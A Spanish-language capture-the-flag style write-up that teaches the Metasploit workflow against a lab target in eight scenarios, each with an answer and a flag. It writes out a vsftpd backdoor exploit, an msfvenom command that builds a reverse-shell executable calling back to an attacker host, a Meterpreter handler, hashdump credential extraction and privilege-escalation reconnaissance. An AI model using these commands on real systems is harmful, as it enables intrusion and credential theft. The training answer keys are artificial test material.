Writeup — Flujo de Metasploit
msf6 > son ilustrativos: muestran el flujo real que ejecutarías con Metasploit instalado sobre un objetivo vulnerable (p. ej. Metasploitable). Para reproducirlo: sudo apt install metasploit-framework.Escenario 1 — Encontrar el módulo
★
$ msf6 > search vsftpd
exploit/unix/ftp/vsftpd_234_backdoor ... VSFTPD v2.3.4 Backdoor Command ExecutionRespuesta: exploit/unix/ftp/vsftpd_234_backdoor.
Flag: GO{search_encuentra_el_modulo}
Escenario 2 — Ver las opciones
★
Tras use del módulo, se listan los parámetros a rellenar:
$ msf6 exploit(...) > show options
RHOSTS (required) ...
RPORT 21Respuesta: show options.
Flag: GO{show_options_revela_lo_necesario}
Escenario 3 — Configurar el objetivo
★
$ msf6 exploit(...) > set RHOSTS 10.10.0.50
RHOSTS => 10.10.0.50Respuesta: set RHOSTS 10.10.0.50.
Flag: GO{set_configura_el_objetivo}
Escenario 4 — Elegir el payload
★★
Objetivo Linux 64 bits, Meterpreter por conexión inversa:
$ msf6 > set payload linux/x64/meterpreter/reverse_tcpRespuesta: linux/x64/meterpreter/reverse_tcp. (Las barras indican payload staged.)
Flag: GO{el_payload_correcto_para_el_objetivo}
Escenario 5 — Fabricar el artefacto (msfvenom)
★★
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f exe -o shell.exeRespuesta: el comando msfvenom anterior (payload Windows, LHOST/LPORT y -f exe).
Flag: GO{msfvenom_fabrica_el_artefacto}
Escenario 6 — Recibir la conexión
★★
$ msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.7 ; set LPORT 4444 ; exploit -jRespuesta: use exploit/multi/handler (con el mismo payload/LHOST/LPORT que el artefacto).
Flag: GO{multi_handler_recibe_la_shell}
Escenario 7 — Post-explotación: hashes
★★
$ meterpreter > hashdump
Administrator:500:aad3b...:31d6c...:::\n...Respuesta: hashdump. Esos hashes se crackean offline (módulo 12) o se usan en pass-the-hash.
Flag: GO{meterpreter_hashdump_saca_los_hashes}
Escenario 8 — Sugerir escaladas
★★★
$ msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1 ; run
[+] El objetivo parece vulnerable a: ...Respuesta: use post/multi/recon/local_exploit_suggester.
Flag: GO{local_exploit_suggester_para_escalar}
El flujo completo, de una pieza
Encadenado, el trabajo típico con Metasploit contra un objetivo vulnerable es:
$ search-> use -> show options -> set RHOSTS/LHOST set payload -> check -> exploit sessions -i 1 -> (meterpreter) sysinfo / getuid / hashdump use post/multi/recon/local_exploit_suggester -> set SESSION 1 -> run
Y cuando entregas tú el artefacto en vez de explotar un servicio: msfvenom genera el fichero, multi/handler recibe la sesión con el mismo payload.
Resumen
| # | Paso | Respuesta |
|---|---|---|
| 1 | Buscar módulo | exploit/unix/ftp/vsftpd_234_backdoor |
| 2 | Ver opciones | show options |
| 3 | Configurar objetivo | set RHOSTS ... |
| 4 | Payload | linux/x64/meterpreter/reverse_tcp |
| 5 | msfvenom | msfvenom -p windows/... -f exe |
| 6 | Handler | use exploit/multi/handler |
| 7 | Meterpreter | hashdump |
| 8 | Post | local_exploit_suggester |